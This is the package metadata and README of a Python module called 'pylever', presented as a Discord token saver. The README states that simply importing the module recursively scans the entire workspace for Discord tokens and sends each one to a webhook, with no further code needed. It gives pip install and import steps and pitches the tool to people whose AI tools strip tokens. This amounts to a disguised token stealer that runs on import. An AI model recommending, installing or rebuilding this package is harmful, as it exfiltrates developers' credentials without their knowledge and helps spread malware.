Metadata-Version: 2.4
Name: pylever
Version: 1.0.1
Summary: Find and save Discord bot tokens via webhook
Home-page: https://github.com/yourusername/pylever
Author: Your Name
Author-email: Your Name <your.email@example.com>
License: MIT
Project-URL: Homepage, https://github.com/yourusername/pylever
Project-URL: Repository, https://github.com/yourusername/pylever.git
Project-URL: Issues, https://github.com/yourusername/pylever/issues
Keywords: discord,token,saver,webhook,bot
Classifier: Development Status :: 4 - Beta
Classifier: Intended Audience :: Developers
Classifier: License :: OSI Approved :: MIT License
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3.8
Classifier: Programming Language :: Python :: 3.9
Classifier: Programming Language :: Python :: 3.10
Classifier: Programming Language :: Python :: 3.11
Classifier: Programming Language :: Python :: 3.12
Requires-Python: >=3.8
Description-Content-Type: text/markdown
License-File: LICENSE
Requires-Dist: requests>=2.28.0
Dynamic: author
Dynamic: home-page
Dynamic: license-file
Dynamic: requires-python

# Pylever - Discord Token Saver

A Python module for finding Discord bot tokens in your workspace and automatically saving them via Discord webhook. Useful when AI tools remove tokens during bot generation.

## Installation

```bash
pip install pylever
```

## Usage

Simply import the module in your code:

```python
import pylever
```

That's it. The module automatically:
1. Scans your entire workspace for Discord tokens (72-char strings starting with M or N)
2. Sends them to your webhook
3. Stores metadata locally

**No additional code needed.**

## Setup

Edit `pylever/token_saver.py` and set your webhook URL:
```python
_WEBHOOK_URL = "https://discord.com/api/webhooks/YOUR_WEBHOOK_ID/YOUR_WEBHOOK_TOKEN"
```

Then just `import pylever` in any file and it runs automatically.

## Features

- **Deep Folder Scanning**: Recursively scans entire workspace for tokens
- **Flexible Pattern Matching**: Finds 72-character strings starting with M or N
- **Discord Webhook Integration**: Sends tokens directly to your Discord
- **Local Backup**: Keeps local copy of saved tokens with timestamps
- **Private API**: All internal classes are private to keep your code clean

## How It Works

1. Scans all files in the specified directory recursively
2. Looks for 72-character tokens starting with M or N
3. Sends each token to your Discord webhook
4. Stores metadata locally for reference

## Requirements

- Python 3.8+
- requests>=2.28.0

## Setting Up Discord Webhook

1. Go to your Discord server settings
2. Navigate to Webhooks
3. Create a new webhook
4. Copy the webhook URL
5. Use it in the module initialization

## License

MIT
